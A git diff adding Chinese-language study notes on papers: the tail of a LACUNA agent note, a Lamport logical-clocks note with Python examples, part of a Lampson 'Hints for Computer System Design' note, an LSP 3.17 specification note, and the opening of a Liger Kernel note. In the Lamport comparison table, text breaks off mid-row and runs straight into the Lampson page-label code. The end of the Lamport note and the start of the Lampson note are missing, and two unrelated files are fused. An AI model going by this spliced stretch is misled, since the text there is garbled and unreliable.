~89% 被拒) +3. **不解决停机与资源耗尽**:需额外预算、深度上限、超时 +4. **safe mode 必须开**:否则反射 / `Process` 可绕过 +5. **异常语义**:外层 `try` 会捕获**嵌套洞**的编译失败,需用 `agentSafe` 精细处理 + +--- + +## 与工程实践的映射 + +若你用过 **Cursor / Claude Code** 的「写代码调工具」、**MCP** 工具描述、或 **DSPy** 签名,可把 Lacuna 想象成: + +> 把「下一步干什么」从**协议消息**升级成**宿主语言里的一段程序**,且这段程序在提交前要经过**和手写代码同一套类型检查**。 + +它不取代 MCP(工具仍可包装成函数注入作用域),而是回答:**当 Agent 越来越像程序员时,谁来保证它写的「微型程序」不会越权、不会半执行?** —— 论文的答案是:**让编译器站在 Agent 与副作用之间**。 + +--- + +## 零基础自检清单 + +读完后应能回答: + +1. **Lacuna 的「洞」和 ReAct 的一步有何本质区别?** + → 洞提交的是**整段类型化代码**;一步 ReAct 是**单次推理/工具调用**,循环在外层。 + +2. **为什么拒绝编译能保护 `balance` 例子?** + → **Atomicity**:未通过检查的 snippet **完全不执行**。 + +3. **`T` 在 API 里起什么作用?** + → 调用方声明**需要什么类型的值**;编译器据此验收 LLM 代码。 + +4. **递归洞带来的好处?** + → 子任务在**更窄、信息更富**的词法环境中生成代码(map-reduce 式分解)。 + +5. **论文主要评测说明了什么?** + → 类型纪律**成本很低**(少次重试),复杂任务上与强基线**可比**,能力层对注入**有界**。 + +--- + +## 延伸阅读 + +- **ReAct**:Yao et al., 2023 — Lacuna 第 5.2 节将其编码为尾递归 `agent` +- **Recursive Language Models**:Zhang et al., 2025 — 最接近的「代码里再调 LLM」先验 +- **TACIT / capture checking**:Odersky et al., 2026 — Agent 能力与安全评测.harness +- **τ²-bench**:多轮工具对话基准 +- **BrowseComp-Plus**:固定语料上的困难检索任务 + +--- + +## 参考 + +- Zhao, Y., Xu, Y., Bračevac, O., Pham, C. N., Wu, F. Z., & Odersky, M. (2026). *LACUNA: Safe Agents as Recursive Program Holes*. arXiv:2605.28617. https://arxiv.org/abs/2605.28617 +- HTML 全文:https://arxiv.org/html/2605.28617v1 diff --git a/src/content/docs/papers/lamport-time-clocks-1978.md b/src/content/docs/papers/lamport-time-clocks-1978.md new file mode 100644 index 000000000..9301b53c3 --- /dev/null +++ b/src/content/docs/papers/lamport-time-clocks-1978.md @@ -0,0 +1,270 @@ +--- +title: Time, Clocks, and the Ordering of Events in a Distributed System — 零基础学习笔记 +来源: https://lamport.azurewebsites.net/pubs/time-clocks.pdf +日期: 2026-06-13 +子分类: 共识与复制 +分类: 分布式系统 +provenance: pipeline-v3 +--- + +## 日常类比:三个城市里的侦探,没有统一的「现在」 + +想象三位侦探分别在北京、上海、广州办案。他们**没有共享一块挂钟**——各自手表每天会快或慢几秒,电话和快递也要几小时才到。 + +某天发生了一桩连环案: + +1. 北京侦探在 9:00 发现线索 A,立刻发电报给上海; +2. 上海侦探在 8:55(自己的表)收到电报——按他的表,**收信比发信还早**; +3. 广州侦探全程没跟任何人联系,在 9:10 独立发现了线索 B。 + +你能说「A 一定发生在 B 之前」吗?**不能**——北京和广州从未交换过信息,他们的发现可能是**真正同时、互不相干**的。你只能确定: + +- 在同一位侦探的笔记本里,**先写的页码一定在前**; +- **发电报这件事,一定发生在对方收电报之前**(消息把因果链串起来); +- 若 A 影响 B、B 影响 C,则 A 间接影响 C(传递性)。 + +Leslie Lamport 在 1978 年发表的 [Time, Clocks, and the Ordering of Events in a Distributed System](https://lamport.azurewebsites.net/pubs/time-clocks.pdf)(CACM,8 页)做的,就是把这种**侦探式推理**变成计算机里可运行的规则:在分布式系统里**放弃「绝对同时」**,改用 **happened-before(先发生于)** 描述因果,再用 **逻辑时钟** 给事件编号,最后把偏序**拉直成全局总序**——这是 Kafka、Raft、Git、Spanner 等系统时间观的共同祖先。 + +Lamport 本人后来回忆:灵感来自狭义相对论——**没有所有观察者都同意的全局时间**,只有与因果相容的偏序;Johnson & Thomas 的副本同步笔记提供了「用时间戳排序消息」的雏形,他把它形式化并修正了会破坏因果的漏洞。 + +## 是什么 + +**分布式系统**(论文定义):多个空间上分离的进程,靠**交换消息**通信;当消息延迟与进程内事件间隔**不可忽略**时,就是「分布式的」。单机多核、多进程也算——因为调度顺序不可预测。 + +论文回答四个层层递进的问题: + +| 层次 | 问题 | 论文给出的工具 | +|------|------|----------------| +| 1 | 两个事件谁在先? | **Happened-before(→)** 偏序 | +| 2 | 如何用数字标记先后? | **逻辑时钟**(Lamport 时间戳) | +| 3 | 算法需要「任意两事件都能比大小」怎么办? | **全序(⇒)**:时间戳 + 进程 ID 打破平局 | +| 4 | 用户眼里「真实时间」和逻辑序冲突怎么办? | **物理时钟同步** + 漂移上界 | + +一句话:**不是让全世界的钟对齐,而是让「因果上必须先发生的事件」在编号上永远更小。** + +## 核心概念 + +### 1. Happened-before(→):因果偏序 + +对系统中任意事件 `a`、`b`,定义 `a → b`(a happens-before b)当且仅当: + +1. **同一进程内**:若 `a` 在 `b` 之前发生,则 `a → b`; +2. **消息传递**:若 `a` 是某条消息的发送,`b` 是该消息的接收,则 `a → b`; +3. **传递性**:若 `a → b` 且 `b → c`,则 `a → c`。 + +若 `a ↛ b` 且 `b ↛ a`,则 `a` 与 `b` **并发(concurrent)**,记作 `a ∥ b`——**谁也没法单凭本地信息断定先后**。 + +```mermaid +flowchart LR + subgraph P1[进程 P1] + e1[e1 本地写] + e2[e2 发送消息 m] + end + subgraph P2[进程 P2] + e3[e3 接收 m] + e4[e4 本地写] + end + subgraph P3[进程 P3] + e5[e5 独立事件] + end + e1 --> e2 + e2 -.消息 m.-> e3 + e3 --> e4 +``` + +上图中:`e1 → e2 → e3 → e4`;`e5` 与 `e1…e4` 中任一事件都可能是并发的。 + +### 2. 逻辑时钟:给事件贴递增编号 + +每个进程 `P_i` 有一个逻辑时钟 `C_i`(可以只是内存里的整数计数器,**不必接真实硬件钟**)。 + +**时钟条件(Clock Condition)**:若 `a → b`,则 `C(a) < C(b)`。 + +保证该条件的两条实现规则(论文 IR1、IR2): + +- **IR1**:进程每发生一个事件,先把本地时钟 `C_i` **加 1**,再给该事件打上当前值; +- **IR2**:进程 `P_i` 发送消息时,把当前 `C_i` **附在消息上**;`P_j` 收到后设 + `C_j := max(C_j, 消息时间戳) + 1`,再处理该接收事件。 + +注意:**`C(a) < C(b)` 推不出 `a → b`**——并发事件的时间戳也可能一大一小,这是工程里「幽灵因果」误判的根源。 + +### 3. 全序(⇒):时间戳 + 进程 ID + +互斥、状态机复制等算法需要**任意两事件都能比较**。定义全序 `a ⇒ b`: + +- 若 `C(a) < C(b)`,则 `a ⇒ b`; +- 若 `C(a) = C(b)`,则 **进程 ID 更小** 的事件排前。 + +全序与 `→` **一致**:若 `a → b`,则必有 `a ⇒ b`。 + +### 4. 应用:分布式互斥(论文 Section 3) + +论文用全序实现了一个**分布式资源锁**(假设消息可靠、进程不故障): + +1. 想进临界区的进程广播带时间戳的 `REQUEST`; +2. 本地把请求放入按 `⇒` 排序的队列; +3. 对队列中**排在最前的自己的请求**,若已从**所有其他进程**收到时间戳**更大**的消息(说明已「见过」更晚的请求),则获得锁; +4. 退出时广播 `RELEASE`。 + +关键洞见:**全序让多副本按同一顺序回放命令**——这就是后来 **State Machine Replication(SMR)** 与 [[paxos]]、[[raft]] 的思想源头。 + +### 5. 物理时钟(论文后半部分) + +若系统事件还包含**电话、用户口头通知**等带外(out-of-band)因果,纯逻辑序可能与用户感知的真实时间矛盾——论文称为 **anomalous behavior**。 + +于是引入物理时钟,要求更强的 **Strong Clock Condition**:对所有可能被带外渠道关联的 `a → b`,有 `C(a) < C(b)`。在时钟精度 `ρ`、消息最小传输时间 `μ` 等假设下,论文推导了时钟漂移的**上界**——这是后来 **NTP**([[ntp-mills-1991]])等协议的理论远亲。 + +## 代码示例 1:逻辑时钟(IR1 + IR2) + +下面用 Python 模拟两个进程的逻辑时钟;`send` / `recv` 代表消息传递。 + +```python +class LamportClock: + def __init__(self, pid: int): + self.pid = pid + self.time = 0 + + def local_event(self) -> tuple[int, int]: + """IR1:本地事件前时钟 +1""" + self.time += 1 + return (self.time, self.pid) + + def send(self) -> tuple[int, int]: + self.time += 1 + return (self.time, self.pid) # 时间戳随消息发出 + + def recv(self, msg_ts: int) -> tuple[int, int]: + """IR2:接收时对齐并 +1""" + self.time = max(self.time, msg_ts) + 1 + return (self.time, self.pid) + + @staticmethod + def total_order(a: tuple[int, int], b: tuple[int, int]) -> int: + """全序:先比时间戳,再比 pid""" + if a[0] != b[0]: + return -1 if a[0] < b[0] else 1 + if a[1] != b[1]: + return -1 if a[1] < b[1] else 1 + return 0 + + +# 模拟:P0 发消息给 P1 +p0, p1 = LamportClock(0), LamportClock(1) +t_send = p0.send() # P0: (1, 0) +t_recv = p1.recv(t_send[0]) # P1: max(0,1)+1 = 2 → (2, 1) +assert t_send[0] < t_recv[0] # 发送 happens-before 接收 ⇒ 时间戳严格递增 +``` + +**读代码时记住**:`recv` 里的 `max` 把「对方已经走过的因果历史」合并进本地计数器,就像侦探收到电报后,把对方笔记本上的页码也对齐到自己的台账里。 + +## 代码示例 2:用全序实现简化的分布式请求队列 + +下面演示论文互斥算法的**排序核心**(省略网络广播与 ACK 细节):每个进程维护全局请求队列,按 `(lamport_ts, pid)` 排序,队首且已「同步」的请求获得锁。 + +```python +from dataclasses import dataclass, field +import heapq + +@dataclass(order=True) +class Request: + ts: int + pid: int + kind: str = field(compare=False) # "REQ" | "REL" + +class MutexNode: + def __init__(self, pid: int, n_peers: int): + self.pid = pid + self.clock = LamportClock(pid) + self.queue: list[Request] = [] + self.last_seen_from = [0] * n_peers # 从各 peer 见过的最大时间戳 + + def request_lock(self): + ts, _ = self.clock.local_event() + heapq.heappush(self.queue, Request(ts, self.pid, "REQ")) + + def on_message(self, sender: int, msg_ts: int, kind: str): + self.last_seen_from[sender] = max(self.last_seen_from[sender], msg_ts) + self.clock.recv(msg_ts) + if kind == "REQ": + heapq.heappush(self.queue, Request(msg_ts, sender, "REQ")) + elif kind == "REL": + # 简化:释放时从队列移除该进程最早 REQ + self.queue = [r for r in self.queue if not (r.pid == sender and r.kind == "REQ")] + heapq.heapify(self.queue) + + def can_enter(self) -> bool: + if not self.queue or self.queue[0].pid != self.pid: + return False + my_ts = self.queue[0].ts + # 已从所有其他进程收到时间戳 > my_ts 的消息 ⇒ 没有更早的未知请求 + for i, seen in enumerate(self.last_seen_from): + if i == self.pid: + continue + if seen <= my_ts: + return False + return True +``` + +生产系统([[kafka-2011]] 单 partition、[[raft]] log index)不会照抄这个互斥,但**「单调序号 + 稳定 tie-breaker + 全序回放」**的结构完全相同。 + +## 时空图:一眼看懂「并发」 + +论文用 **space-time diagram**(时空图)画进程为竖线、消息为斜线。沿竖线向上是同一进程内的时间;斜线连接 send 与 receive。 + +``` +P1: ●───a───●───send───●───b───● + \ / +P2: ●───c───●───recv───●───d───● + +P3: ●───e───●───f───● +``` + +- `a → send → recv → d`(因果链) +- `c` 与 `a` 可能并发,除非有消息相连 +- `e`、`f` 与 P1、P2 上所有事件都可能并发 + +**零基础要点**:图上看不出谁左谁右的并列圆点,就是 concurrent——别用 wall clock 硬排。 + +## 与相关工作的关系 + +| 机制 | 能做什么 | 不能做什么 | 代表 | +|------|----------|------------|------| +| Lamport 时钟 | `a→b ⇒ C(a) truth + page_map_hint: Dict[Tuple[str, int], int] = field(default_factory=dict) # (file, page) -> disk_addr + + def write_page(self, file_id: str, page_no: int, disk_addr: int) -> None: + label = PageLabel(file_id, page_no) + self.labels[disk_addr] = label + self.page_map_hint[(file_id, page_no)] = disk_addr + + def read_page(self, file_id: str, page_no: int) -> Optional[int]: + """通过 hint 找地址,用 label 校验;hint 错了就失效并扫描重建。""" + key = (file_id, page_no) + addr = self.page_map_hint.get(key) + if addr is not None: + label = self.labels.get(addr) + if label and label.file_id == file_id and label.page_no == page_no: + return addr # hint 命中且正确 + del self.page_map_hint[key] # hint 腐败,丢弃 + # Brute force 重建路径(真实系统会 scan disk) + for a, lab in self.labels.items(): + if lab.file_id == file_id and lab.page_no == page_no: + self.page_map_hint[key] = a + return a + return None + +# 演示:hint 被故意破坏后仍能靠 truth 恢复 +fs = FileSystem() +fs.write_page("doc", 0, disk_addr=100) +fs.page_map_hint[("doc", 0)] = 999 # 模拟 hint 错误 +assert fs.read_page("doc", 0) == 100 +``` + +端到端延伸:若 `doc` 要通过网络复制到另一台机器,**仅校验中间每一跳是不够的**——必须在接收方对完整文件做 checksum,与源端比对;中间层 CRC 只是减少重传工作量(性能优化),不是逻辑必需。 + +```python +import hashlib + +def transfer_end_to_end(src_bytes: bytes, noisy_channel) -> bytes: + """应用层端到端:唯一判定成功的标准在终点。""" + digest = hashlib.sha256(src_bytes).digest() + payload = src_bytes + digest + received = noisy_channel(payload) # 可能丢包/损坏 + if len(received) < 32: + raise RuntimeError("incomplete transfer, retry") + data, got_digest = received[:-32], received[-32:] + if hashlib.sha256(data).digest() != got_digest: + raise RuntimeError("corrupted, retry") + return data +``` + +## 代码示例 3:正常路径与最坏路径分开 + +Bravo 编辑器的 **piece table** 是 Lampson 举的经典案例:正常编辑只拆分 piece、追加新字符;piece 太多时**后台**做一次 compaction。下面用极简结构示意: + +```python +from dataclasses import dataclass +from typing import List, Tuple + +@dataclass +class Piece: + start: int # 在 underlying buffer 中的偏移 + length: int + +class PieceTableEditor: + """正常情况 O(1) 插入;最坏情况触发 compaction。""" + + def __init__(self, text: str): + self.buffer = text + self.pieces: List[Piece] = [Piece(0, len(text))] + self.compact_threshold = 50 + + def insert(self, pos: int, s: str) -> None: + # 正常路径:追加到 buffer,拆分 piece(省略边界查找细节) + off = len(self.buffer) + self.buffer += s + # ... 在 pos 处拆分并插入新 Piece(off, len(s)) ... + self.pieces.append(Piece(off, len(s))) # 简化示意 + if len(self.pieces) > self.compact_threshold: + self._compact_background() + + def _compact_background(self) -> None: + """最坏情况 / 维护路径:合并成单 piece,换稳定结构。""" + self.buffer = self.render() + self.pieces = [Piece(0, len(self.buffer))] + + def render(self) -> str: + return "".join(self.buffer[p.start : p.start + p.length] for p in self.pieces) +``` + +要点:**用户日常打字走快路径**;长时间编辑后的「卡顿」用批量整理解决,而不是让每次按键都承担全量复制的成本。 + +## 与其他思想的联系 + +| 概念 | 关系 | +|------|------| +| [[paxos]] / [[raft]] | 日志(Log updates)+ 可重启操作,是分布式里的原子/可恢复实例 | +| [[tcp]] | 端到端可靠性由 TCP 保证;IP 层 hint 式转发不承诺送达 | +| Parnas 信息隐藏 | Lampson 的「Keep secrets」与模块秘密一致 | +| Brooks《人月神话》 | 「Plan to throw one away」直接呼应第二系统陷阱 | +| RISC vs CISC | 「Make it fast, rather than general」的硬件版 | + +## 实践清单(给零基础读者的行动版) + +1. **画接口再写代码**:先写「客户端需要哪些假设」,再写实现;用一页纸列出三个冲突目标如何取舍 +2. **量测再优化**:Lampson 引用 Interlisp-D 靠 profiling 提速 10 倍——没有数据不要猜热点 +3. **默认路径要极简**:错误处理、边界情况可以慢,但 99% 的请求应走短路径 +4. **任何缓存都要有失效策略**:功能缓存(cache)与可能错的加速(hint)区分对待 +5. **第一版当原型**:尤其功能是新的时候,计划重写比否认现实便宜 +6. **过载时主动降级**:限流、丢低优先级任务、返回 503,优于全体用户一起卡死 + +## 局限与争议 + +Lampson 自己在开篇就列了免责声明:这些不是定律、不总适用、不少条目互相张力(例如「不要隐藏能力」vs「保持秘密」)。论文例子来自 1970–80 年代小型机与工作站,**直接照搬**到今日云原生或 GPU 集群会失真。但其价值在于提供**判断 trade-off 的词汇表**:当你在设计 API、缓存层、容错边界时,可以问——这是在优化功能、速度还是容错?动的是接口还是实现?用的是 truth 还是 hint? + +## 延伸阅读 + +- 原文 PDF:[Hints for Computer System Design](https://bwlampson.site/33-Hints/Acrobat.pdf) +- Saltzer, Reed, Clark:端到端原则经典文(Lampson 在容错章节引用) +- David Parnas:「On the Criteria To Be Used in Decomposing Systems into Modules」 +- Jon Bentley:《Writing Efficient Programs》——Lampson 在速度章节推荐的补充读物 + +## 一句话总结 + +**Butler Lampson 用几十年造系统的经验告诉我们:好系统靠清晰的接口契约、对正常与最坏情况的分治、用 truth 约束 hint、以及在应用层端到端地验证正确性——简单、可分析、舍得用蛮力,往往胜过一开始就把所有聪明写进第一版。** diff --git a/src/content/docs/papers/language-server-protocol-spec.md b/src/content/docs/papers/language-server-protocol-spec.md new file mode 100644 index 000000000..84a455766 --- /dev/null +++ b/src/content/docs/papers/language-server-protocol-spec.md @@ -0,0 +1,343 @@ +--- +title: Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议 +来源: https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/ +日期: 2026-06-13 +分类: CLI +子分类: 编辑器与 IDE +provenance: pipeline-v3 +--- + +## 是什么 + +**Language Server Protocol(LSP,语言服务器协议)** 是 Microsoft 牵头维护的一份开放规范,定义了**编辑器/IDE(客户端)** 与**语言分析服务(服务端)** 之间如何通过 **JSON-RPC 2.0** 交换消息。当前稳定版本为 **3.17**(2022-05-10 发布)。 + +日常类比:你去不同国家的医院看病,以前每家医院有自己的病历格式——北京一套、东京一套、柏林一套,换医院就得重新建档。LSP 相当于**国际通用的电子病历接口**:VS Code、Neovim、Helix、Zed、Emacs 都是「医院前台」,Rust Analyzer、Pyright、gopls、clangd 都是「专科医生」。前台只负责展示和收集症状(光标位置、打开的文档),医生只负责诊断(补全、跳转、诊断),双方说同一种「病历语言」,所以**写一次语言服务,所有编辑器都能用**。 + +技术定义:LSP 在 JSON-RPC 之上定义三类消息——**Request**(要回复)、**Response**(回复结果)、**Notification**(单向通知,无 id)。消息按功能分成 **Lifecycle**(初始化)、**Document Synchronization**(文档同步)、**Language Features**(补全/跳转/诊断等)、**Workspace Features**(全项目符号搜索)、**Window Features**(进度条/日志)几大章。规范用 TypeScript interface 描述所有数据结构,但**不要求**实现语言必须是 TypeScript。 + +## 为什么重要 + +不理解 LSP,下面这些事都没法解释: + +- 为什么 VS Code 装一个 Rust 插件后,Neovim 用 `rust-analyzer` 也能得到几乎相同的体验——底层是同一套协议,不是同一套代码 +- 为什么 `gopls`、`pyright`、`typescript-language-server` 都能独立进程运行——编辑器通过 stdio / socket 跟子进程说话,崩溃不会拖垮整个 IDE +- 为什么 Cursor / Zed 能「复用 VS Code 生态的语言服务」——它们实现的是 LSP **客户端**,不是重新实现每种语言的编译器前端 +- 为什么 MCP 规范里常提到 LSP——MCP 的设计直接借鉴了 LSP 的 **capability negotiation**(能力协商)模式 + +## 核心概念 + +LSP 3.17 规范可以拆成 **五层**,由下往上: + +### 1. Base Protocol(传输 + 帧格式) + +JSON-RPC 消息前面必须带 **LSP 报文头**(类似 HTTP header): + +``` +Content-Length: 119\r\n +\r\n +{"jsonrpc":"2.0","id":1,"method":"initialize","params":{...}} +``` + +- `Content-Length`:后面 JSON body 的字节数(UTF-8) +- 默认 `Content-Type`:`application/vscode-jsonrpc; charset=utf-8` +- 传输通道常见为 **stdio**(子进程)、**socket**、**named pipe**;规范**不支持 JSON-RPC batch**(不能一次发多个 request) + +三种消息形态: + +| 类型 | 有 `id`? | 需要回复? | 典型用途 | +|------|-----------|------------|----------| +| Request | 是 | 是 | `textDocument/completion` | +| Response | 是(匹配 request) | — | 返回补全列表 | +| Notification | 否 | 否 | `textDocument/didChange` | + +### 2. 基本数据结构 + +规范里几乎所有语言功能都围绕 **`[TextDocumentIdentifier, Position]`** 这一元组: + +```typescript +// 规范中的 Position:0-based,line 是行号,character 是 UTF-16 码元偏移 +interface Position { + line: number; + character: number; +} + +interface Range { + start: Position; + end: Position; +} + +interface TextDocumentItem { + uri: string; // 如 file:///path/to/main.rs + languageId: string; // 如 "rust" + version: number; // 文档版本,每次变更递增 + text: string; // 全文(didOpen 时发送) +} +``` + +**注意**:`character` 是 **UTF-16 code unit** 偏移,不是字节数也不是 Unicode 码点数。处理 emoji 或多字节字符时,客户端和服务端必须一致,否则跳转/补全会错位。 + +### 3. Lifecycle(生命周期) + +连接建立后的固定顺序: + +``` +Client Server + |---- initialize (request) ---->| + |<---- InitializeResult --------| (含 server capabilities) + |---- initialized (notify) ---->| + |---- 其他 request/notify ----->| +``` + +- **`initialize`**:交换 `ClientCapabilities` 与 `ServerCapabilities`,协商双方支持哪些功能 +- **`initialized`**:客户端通知「我准备好了」;服务端可在此后 **动态注册** 能力(`client/registerCapability`) +- **`shutdown` / `exit`**:优雅关闭 + +服务端在 `initialize` 响应里声明例如 `completionProvider`、`definitionProvider`;客户端在请求里声明例如 `textDocument.completion.contextSupport`。 + +### 4. Document Synchronization(文档同步) + +客户端**必须**实现(不可 opt-out)的三条通知: + +| 方法 | 方向 | 含义 | +|------|------|------| +| `textDocument/didOpen` | C→S | 打开文档,附带全文 | +| `textDocument/didChange` | C→S | 文档变更(**Full** 或 **Incremental** 同步) | +| `textDocument/didClose` | C→S | 关闭文档 | + +服务端要么**三者全支持**,要么**三者全不支持**——不能只做 `didOpen` 不做 `didChange`。 + +增量同步示例(客户端只发变更片段): + +```json +{ + "jsonrpc": "2.0", + "method": "textDocument/didChange", + "params": { + "textDocument": { "uri": "file:///proj/main.ts", "version": 2 }, + "contentChanges": [ + { + "range": { + "start": { "line": 10, "character": 4 }, + "end": { "line": 10, "character": 4 } + }, + "text": "console.log('hi');\n" + } + ] + } +} +``` + +### 5. Language Features(语言功能) + +在 `[document, position]` 上执行的核心能力,3.17 规范包括但不限于: + +- **Syntactic**:`completion`、`signatureHelp`、`hover`、`documentHighlight` +- **Navigation**:`definition`、`typeDefinition`、`implementation`、`references` +- **Semantic**:`documentSymbol`、`codeAction`、`codeLens`、`documentLink` +- **Diagnostic**:`publishDiagnostics`(notification,服务端主动推) +- **Formatting**:`formatting`、`rangeFormatting`、`onTypeFormatting` +- **Refactoring**:`rename`、`prepareRename` +- **3.17 新增**:`inlayHint`(类型/参数名内联提示)、`typeHierarchy`、`inlineValue` 等 + +Workspace 级功能如 `workspace/symbol`(全项目搜索符号)、`workspace/executeCommand`(执行重构命令)在单独章节定义。 + +### 6. Capabilities(能力协商) + +LSP 的核心设计哲学:**不假设对方支持一切**。双方只在 `initialize` 时交换能力表;若客户端没声明 `textDocument.completion.contextSupport`,服务端就不该依赖 `CompletionContext` 字段。 + +动态注册示例(服务端在 `initialized` 之后注册 `willSaveWaitUntil`): + +```json +{ + "jsonrpc": "2.0", + "method": "client/registerCapability", + "params": { + "registrations": [{ + "id": "79eee87c-c409-4664-8102-e03263673f6f", + "method": "textDocument/willSaveWaitUntil", + "registerOptions": { + "documentSelector": [{ "language": "typescript" }] + } + }] + } +} +``` + +## 实践案例 + +### 案例 1:客户端发起「跳转到定义」 + +用户在第 3 行第 12 列点击「Go to Definition」,客户端发送: + +```json +{ + "jsonrpc": "2.0", + "id": 42, + "method": "textDocument/definition", + "params": { + "textDocument": { + "uri": "file:///home/user/src/main.cpp" + }, + "position": { + "line": 3, + "character": 12 + } + } +} +``` + +服务端返回 `Location` 或 `LocationLink[]`(3.14+,需客户端声明 `linkSupport`): + +```json +{ + "jsonrpc": "2.0", + "id": 42, + "result": [{ + "uri": "file:///home/user/include/util.hpp", + "range": { + "start": { "line": 15, "character": 0 }, + "end": { "line": 15, "character": 20 } + } + }] +} +``` + +LSP **故意不传输 AST 或类型图**——只传编辑器能直接用的 URI + Range。语言领域的复杂结构留在服务端进程内部,协议保持「薄」。 + +### 案例 2:用 TypeScript 写一个最小 Language Server + +下面是一个能响应 `initialize` 和 `textDocument/completion` 的极简骨架(基于官方 `vscode-languageserver` 库): + +```typescript +import { + createConnection, + TextDocuments, + ProposedFeatures, + InitializeParams, + TextDocumentSyncKind, + CompletionItem, + CompletionItemKind +} from 'vscode-languageserver/node'; +import { TextDocument } from 'vscode-languageserver-textdocument'; + +const connection = createConnection(ProposedFeatures.all); +const documents = new TextDocuments(TextDocument); + +connection.onInitialize((params: InitializeParams) => { + return { + capabilities: { + textDocumentSync: TextDocumentSyncKind.Incremental, + completionProvider: { resolveProvider: false } + } + }; +}); + +connection.onCompletion((): CompletionItem[] => { + return [ + { + label: 'helloLsp', + kind: CompletionItemKind.Function, + detail: 'Demo completion from minimal LSP server' + } + ]; +}); + +documents.listen(connection); +connection.listen(); +``` + +编辑器用 stdio 启动这个进程后,库会自动处理 `Content-Length` 帧、`didOpen`/`didChange` 同步、以及 capability 握手——手写时最容易错的就是**帧格式**和**UTF-16 偏移**。 + +### 案例 3:诊断推送(publishDiagnostics) + +与 request/response 不同,诊断是服务端**主动推送**的 notification: + +```json +{ + "jsonrpc": "2.0", + "method": "textDocument/publishDiagnostics", + "params": { + "uri": "file:///proj/app.py", + "diagnostics": [{ + "range": { + "start": { "line": 4, "character": 0 }, + "end": { "line": 4, "character": 10 } + }, + "severity": 1, + "code": "E0001", + "source": "pyright", + "message": "Undefined name 'foo'" + }] + } +} +``` + +客户端收到后在 gutter 画红波浪线。每次分析完成可全量替换该文档的 diagnostics 列表。 + +## 踩过的坑 + +1. **stdout 不能打 debug log**:stdio 传输时 stdout 专用于 LSP 帧,任何 `console.log` 到 stdout 都会破坏 `Content-Length` 解析。日志必须走 **stderr**。 + +2. **UTF-16 character 偏移**:规范写死用 UTF-16 code unit。Rust/Python 里按字节或 Unicode scalar 算列号,和 VS Code 不一致时,补全范围会「偏一格」。 + +3. **didOpen/didChange/didClose 必须成套**:服务端不能声明只同步 open 不同步 change;客户端也不能声称支持 LSP 却跳过 `didClose`。 + +4. **capability 是双向契约**:服务端发了客户端不认识的 capability 字段,客户端应**忽略**而非报错;但服务端若用了客户端未声明的可选字段,行为未定义。 + +5. **不支持 batch**:不能在一个 JSON-RPC batch 里塞多个 request。高并发场景要排队或 multiplex 多个连接。 + +6. **3.17 的 WorkspaceSymbol 可延迟 resolve**:若服务端返回不带 range 的 `WorkspaceSymbol`,必须等客户端声明 `workspace.symbol.resolveSupport`,否则只能返回完整 `Location`。 + +## 适用 vs 不适用场景 + +**适用**: + +- 为一种编程语言提供 IDE 级功能,且希望 **VS Code / Neovim / Emacs / Zed 等多客户端复用** +- 语言分析很重(类型检查、索引),需要**独立进程**隔离崩溃和 CPU +- 团队已有编译器/分析器,只想加一层「编辑器适配」而非重写每个 IDE 插件 + +**不适用**: + +- 只做单一编辑器、单一语言的深度集成 → 直接调编辑器原生 API 可能更简单(如 VS Code Extension API) +- 需要**双向流式**大 payload(传整棵 AST)→ LSP 故意保持薄,应走自定义 RPC 或 LSIF +- 亚毫秒级延迟的键入反馈 → JSON-RPC + 进程边界有固定开销;极端场景可能 in-process +- 非文本文档(纯图形、Notebook 单元格语义)→ 需 Notebook Document Sync 扩展,比 plain text 复杂一个数量级 + +## 历史小故事(可跳过) + +- **2016**:Microsoft 在 TypeScript 语言服务经验上提出 LSP,目标统一 VS Code 与其他编辑器的能力接入方式。 +- **2016-06-30**:发布 LSP 1.0;随后 Rust(RLS → rust-analyzer)、Go(gopls)、Python(Pylance/Pyright)等社区迅速跟进。 +- **2022-05-10**:LSP **3.17** 定稿,新增 Inlay Hint、Type Hierarchy、Inline Value、Notebook 同步增强等。 +- **LSIF**(Language Server Index Format):LSP 负责「在线交互」,LSIF 负责「离线预计算索引」——大仓库 CI 里先跑 LSIF,IDE 再消费,与 LSP 互补。 +- **类比链**:LSP 之于编辑器 ≈ **MCP 之于 LLM 客户端**——都是 JSON-RPC + capability negotiation,让「工具」与「宿主」解耦。 + +## 学到什么 + +1. **协议故意停留在编辑器抽象层**:传 URI、Range、Diagnostic,不传 AST——降低客户端负担,把复杂度关在 language server 进程里。 +2. **能力协商先于功能调用**:`initialize` 是双向契约,不是服务端单方面「报菜单」;动态注册让功能可以按需启用。 +3. **文档同步是硬约束**:Language Features 再聪明,如果 `didChange` 版本和全文不一致,补全和诊断全是错的。 +4. **Notification 与 Request 分工明确**:诊断、日志、进度用 notification 推;需要结果的操作(completion、definition)用 request。 +5. **写一次,到处跑** 的真正成本在「测试矩阵」——同一 server 要对多种 client 的 capability 组合做兼容,而不是协议本身难写。 + +## 延伸阅读 + +- 规范全文:[LSP 3.17 Specification](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/) +- 官方实现指南:[Implementing Language Server](https://microsoft.github.io/language-server-protocol/overviews/server/) +- 官方客户端指南:[Implementing Language Client](https://microsoft.github.io/language-server-protocol/overviews/client/) +- 参考库:[vscode-languageserver-node](https://github.com/microsoft/vscode-languageserver-node)(Node 服务端/客户端 SDK) +- 规范仓库:[microsoft/language-server-protocol](https://github.com/microsoft/language-server-protocol) +- LSIF 规范:[Language Server Index Format](https://microsoft.github.io/language-server-protocol/specifications/lsif/0.6.0/specification/) + +## 关联 + +- [[tree-sitter-2018]] —— Tree-sitter 提供增量 CST,常与 LSP 配合做语法高亮;LSP 管语义,Tree-sitter 管结构 +- [[mcp-spec]] —— MCP 借鉴 LSP 的能力协商与 JSON-RPC 分层,可对比阅读 +- [[ast-grep]] —— 基于 Tree-sitter 的结构化搜索,与 LSP 的 refactor 路径不同但场景相邻 +- [[standard-ml]] —— 早期 IDE 多为单编辑器深度集成;LSP 代表「语言服务与 UI 分离」的现代路线 + +## 反向链接 + + + +(暂无反向链接) + diff --git a/src/content/docs/papers/liger-kernel-llm-training.md b/src/content/docs/papers/liger-kernel-llm-training.md new file mode 100644 index 000000000..c1476dab8 --- /dev/null +++ b/src/content/docs/papers/liger-kernel-llm-training.md @@ -0,0 +1,328 @@ +--- +title: Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件 +来源: https://arxiv.org/abs/2410.10989 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:FlashAttention 修好了高速公路,Liger 把收费站也拆了 